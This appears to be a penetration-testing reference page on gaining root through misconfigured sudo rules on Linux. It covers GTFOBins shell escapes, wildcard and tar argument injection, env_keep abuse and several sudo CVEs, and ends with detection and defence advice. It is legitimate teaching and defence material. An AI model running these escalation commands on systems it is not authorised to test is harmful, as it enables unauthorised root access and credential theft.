sudo misconfiguration
TL;DR:
sudo -lis the first command after a foothold; sudoers rules that NOPASSWD a flexible binary, wildcard a path, preserve dangerous env vars, or use loose runas patterns convert directly into root.
What it is
sudo consults /etc/sudoers (plus /etc/sudoers.d/*) to decide whether a user may run a command as another. The grammar is rich enough to express subtle policies — and easy enough to get wrong that almost every Linux engagement has at least one exploitable sudo rule.
Preconditions / where it applies
- Local shell on a Linux host that uses sudo
- A sudoers rule that lists the current user (or a group they’re in) with one of the dangerous patterns below
- For env-keep variants, the binary you can run must honour the env var
Technique
Step 1 — enumerate:
1
2
3
sudo -l # the canonical command
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null
Pattern A — NOPASSWD on a GTFOBins binary. GTFOBins lists ~370 binaries with documented sudo-context escapes. If sudo -l returns (root) NOPASSWD: /usr/bin/find, look up the “Sudo” tab:
1
2
3
4
sudo find . -exec /bin/sh \; -quit
sudo less /etc/hostname # then !sh
sudo vim -c ':!sh'
sudo awk 'BEGIN {system("/bin/sh")}'
Pattern B — wildcard expansion. A rule like (root) /usr/bin/cat /var/log/*.log looks safe but the shell expands * before sudo sees it:
1
2
ln -s /etc/shadow /var/log/x.log
sudo cat /var/log/*.log
Worse — (root) /bin/tar czf /backup.tgz /home/user/* lets an attacker drop files in /home/user/ named --checkpoint=1 and --checkpoint-action=exec=sh shell.sh.
Pattern C — env_keep. Defaults env_keep += "LD_PRELOAD" (or PYTHONPATH, RUBYLIB, PERL5LIB, NODE_OPTIONS, GTK_MODULES) lets the attacker inject code through the standard library loaders. See ld-preload-abuse.
Pattern D — ! negation bypasses. (ALL, !root) /bin/bash was supposed to allow bash as any user except root. CVE-2019-14287 in sudo < 1.8.28: passing UID -1 (or 4294967295) bypassed the check:
1
sudo -u#-1 /bin/bash
Pattern E — runas patterns and groups. (%admin) ALL grants ALL only to members of group admin, but (ALL:ALL) includes group-runas. A NOPASSWD with (ALL:ALL) lets you sudo -g root even if the user runas is more restricted.
Pattern F — sudoedit / SUDO_EDITOR. sudoedit honours SUDO_EDITOR/VISUAL/EDITOR env vars:
1
EDITOR='vim -c ":!sh"' sudoedit /etc/hostname
Pattern G — old sudo CVEs. CVE-2021-3156 (Baron Samedit) — heap overflow in sudo 1.8.2–1.9.5p1, exploitable by any local user. CVE-2023-22809 — sudoedit arbitrary file write via EDITOR='vim -- /etc/passwd'. Always fingerprint sudo --version early.
Pattern H — pwfeedback / TTY-less. CVE-2019-18634: pwfeedback (off by default) + non-tty stdin = stack overflow → root.
Detection and defence
- Use
visudo -cand a CI policy linter (cvechecker,sudo_audit) - Prefer explicit absolute binaries with explicit args; never use shell metacharacters in command specs
- Default
Defaults secure_path,Defaults !env_resetshould remain off - Use
Defaults timestamp_timeout=0to require password each invocation in high-value tiers - Keep sudo current — multiple wormable bugs in the last five years
- AuditD:
auditctl -w /etc/sudoers -p wa -k sudo_policy_change
References
- GTFOBins — sudo — per-binary escape payloads
- sudoers(5) — grammar and security-relevant defaults
- Sudo Security Advisories — CVE history
Related: ld-preload-abuse, suid-sgid-binaries, linux-privesc-vectors.